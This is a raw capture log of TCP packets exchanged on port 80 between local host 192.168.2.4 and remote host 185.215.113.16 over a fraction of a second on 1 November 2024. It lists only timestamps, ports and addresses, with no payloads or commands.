Nov 1, 2024 08:50:20.059957027 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.059962988 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.059968948 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.060087919 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.060087919 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.060126066 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.060137987 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.060148001 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.060158968 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.060170889 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.060182095 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.060184002 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.060192108 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.060204029 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.060221910 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.060250044 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.060256004 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.060256004 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.060262918 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.060271978 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.060286045 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.060293913 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.060297012 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.060323954 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.060328960 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.060334921 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.060343027 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.060345888 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.060370922 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.060381889 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.060388088 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.060391903 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.060404062 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.060415030 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.060425043 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.060435057 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.060445070 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.060456038 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.060476065 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.060476065 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.060476065 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.060528994 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.060770988 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.061038971 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.061049938 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.061058998 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.061069012 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.061079025 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.061089039 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.061100006 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.061111927 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.061111927 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.061111927 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.061124086 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.061132908 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.061132908 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.061136007 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.061146021 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.061162949 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.061172962 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.061187983 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.061187983 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.061208963 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.061224937 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.061230898 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.061234951 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.061247110 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.061258078 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.061268091 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.061278105 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.061289072 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.061300993 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.061326981 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.061337948 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.061342955 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.061342955 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.061342955 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.061342955 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.061347008 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.061358929 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.061374903 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.061393976 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.061398983 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.061403036 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.061409950 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.061419964 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.061431885 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.061441898 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.061451912 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.061463118 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.061492920 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.061492920 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.061492920 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.061494112 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.061534882 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.061546087 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.061557055 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.061580896 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.061590910 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.061600924 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.061600924 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.061608076 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.061619043 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.061625004 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.061629057 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.061640978 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.061650991 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.061661005 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.061671019 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.061681986 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.061681986 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.061691999 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.061703920 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.061712980 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.061713934 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.061722994 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.061733961 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.061742067 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.061788082 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.061788082 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.062231064 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.062242031 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.062252045 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.062261105 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.062278032 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.062298059 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.062308073 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.062316895 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.062329054 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.062339067 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.062339067 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.062339067 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.062369108 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.062370062 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.062381029 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.062390089 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.062400103 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.062410116 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.062410116 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.062412024 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.062422037 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.062433958 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.062458992 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.062458992 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.063865900 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.063878059 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.063886881 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.063898087 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.063908100 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.063920021 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.063961983 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.063965082 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.063972950 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.063982010 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.063992977 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.064003944 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.064013958 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.064024925 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.064060926 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.064060926 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.064060926 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.064152002 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.064162970 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.064172983 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.064197063 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.064203978 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.064212084 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.064223051 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.064234018 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.064234972 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.064244986 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.064254999 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.064265013 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.064275026 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.064284086 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.064284086 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.064285994 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.064296961 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.064306974 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.064317942 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.064330101 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.064337969 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.064337969 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.064337969 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.064342022 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.064353943 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.064397097 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.064397097 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.073618889 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.074430943 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.078531981 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.078543901 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.078558922 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.078579903 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.078583002 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.078589916 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.078599930 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.078610897 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.078613043 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.078635931 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.078649998 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.078660011 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.078670025 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.078692913 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.078692913 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.078768969 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.078778982 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.078788042 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.078799963 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.078809977 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.078820944 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.078831911 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.078841925 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.078845024 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.078845024 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.078877926 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.078910112 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.078924894 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.078937054 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.078948021 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.078958988 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.078985929 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.078985929 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.079019070 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.079019070 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.079030037 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.079044104 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.079054117 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.079065084 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.079086065 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.079086065 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.079157114 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.079169035 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.079178095 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.079189062 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.079199076 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.079209089 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.079221010 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.079221964 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.079245090 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.079252958 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.079265118 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.079272985 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.079273939 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.079284906 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.079296112 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.079304934 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.079309940 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.079324961 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.079336882 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.079339981 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.079339981 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.079349995 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.079376936 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.079380989 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.079380989 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.079387903 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.079412937 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.079418898 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.079422951 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.079433918 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.079444885 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.079454899 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.079466105 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.079474926 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.079485893 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.079495907 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.079503059 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.079503059 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.079507113 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.079518080 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.079533100 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.079552889 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.079565048 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.079582930 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.079771996 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.079952955 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.079978943 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.079988956 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.079998970 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.080009937 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.080019951 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.080029964 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.080029964 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.080030918 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.080045938 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.080050945 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.080056906 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.080066919 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.080077887 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.080087900 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.080091000 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.080100060 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.080110073 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.080121040 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.080127001 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.080127001 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.080156088 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.080156088 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.080177069 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.080210924 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.080221891 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.080259085 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.080270052 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.080281019 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.080291033 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.080322027 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.080365896 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.080399036 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.080410004 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.080419064 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.080430984 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.080440998 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.080451965 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.080462933 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.080472946 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.080472946 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.080472946 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.080507040 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.080532074 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.080540895 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.080566883 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.080576897 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.080595016 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.080605030 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.080625057 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.080640078 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.080650091 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.080652952 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.080653906 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.080661058 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.080666065 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.080672979 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.080683947 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.080693960 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.080704927 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.080718040 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.080729008 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.126832962 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.371400118 CET	49738	80	192.168.2.4	185.215.113.16
